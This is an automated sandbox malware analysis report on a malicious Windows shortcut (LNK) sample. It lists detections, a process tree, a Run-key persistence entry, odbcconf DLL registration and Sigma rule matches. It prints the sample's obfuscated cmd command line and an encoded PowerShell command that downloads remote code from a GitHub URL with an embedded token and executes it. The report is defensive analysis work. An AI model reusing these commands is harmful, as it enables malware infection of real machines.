Edit tour

Windows Analysis Report
mjjt5kTb4o.lnk

Overview

General Information

Sample name:	mjjt5kTb4o.lnk renamed because original name is a hash value
Original sample name:	592a1fd0840fab1915a85c82a4c0cb2f657cbae4c99ec2dbf39bc332555cdd83.lnk
Analysis ID:	1576703
MD5:	cb553ea2e89a6cbccaac5122455bc7ef
SHA1:	03c64ddf6cdc5bbb82198c84709c4565768ab258
SHA256:	592a1fd0840fab1915a85c82a4c0cb2f657cbae4c99ec2dbf39bc332555cdd83
Tags:	dacsanvinhchau-vnlnkuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Creates HTML files with .exe extension (expired dropper behavior)

Encrypted powershell cmdline option found

Machine Learning detection for sample

Obfuscated command line found

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

AV process strings found (often used to terminate AV products)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6720 cmdline: "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAA||ServiceRunLocalDriveUserNotes1AA||Se^T ACAACA=:\Helper&&ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||set SSA=exi&&ServiceRunLocalDriveUserNotes1||@if exist "C!ACAACA!" (!SSA!t) else ( ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||set A=PoW&&set aA=She&&ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||set VERIFICATION=l&&ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||^se^t USERNAME=SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0A&&^s^eT^ Driver=DAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA&&s^et PASSWORD=aQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGM&&set VALIDATION=-enco&&ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||seT^ Update=QAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNA&&^Se^t SECURITYKEY=VwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcA&&Se^T^ CONFIGURATIONDATA=vAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAH&&sET^ Install=AbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwA&& !A!er!AA!l!VERIFICATION! !VALIDATION!ded !USERNAME!!SECURITYKEY!!PASSWORD!!Install!!CONFIGURATIONDATA!!Update!!Driver!)" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6884 cmdline: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5956 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\Form_Lamaran.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1620,i,5413041402363609044,2761405665689861482,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

powershell.exe (PID: 1744 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden New-Item -ItemType Directory -Force -Path C:\helper MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 7304 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

odbcconf.exe (PID: 6672 cmdline: "C:\Windows\system32\odbcconf.exe" /a {REGSVR "C:\helper\ps2.dll"} MD5: 7D7B705E462B7EAE1C4728064E5EFF1C)

odbcconf.exe (PID: 7916 cmdline: "C:\Windows\system32\odbcconf.exe" /a {REGSVR "C:\helper\ps2.dll"} MD5: 7D7B705E462B7EAE1C4728064E5EFF1C)

cleanup

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||Servic

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||Servic

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||Servic

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine: PoWerShell -encoded SQBFAFgAIAAoAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AMQB4ADMAawAvAHMAZQBjAHIAZQB0AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBzAGUAYwByAGUAdAAnACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACAAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAgAD0AIAAnAHQAbwBrAGUAbgAgAGcAaABwAF8AaQBGAGIAYgA1ADIAdABUAFkATwBwAEIAbgBSADAASgBNADAAdwB1ADIAVABoAGsAZQBiAE0ARQBNAGcAMwBHADMAaAB4AEgAJwAgAH0AKQAuAEMAbwBuAHQAZQBuAHQA, CommandLine|base64offset|contains: >(^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" "AAAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||/V/D/c "ServiceRunLocalDriveUserNotes1ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOOOOOOOOOOOOOOOOOO||OOOOOOOOOOOOOOOOOOOOOOOOOOXXX||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||OOOOOOOOOOAAAA||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||CCCCCCCC||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1||ServiceRunLocalDriveUserNotes1OOOOOOOOOOOOOO||Servic

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: odbcconf /a {REGSVR "C:\helper\ps2.dll"}, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6884, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHelper

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6884, TargetFilename: C:\helper\7z.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

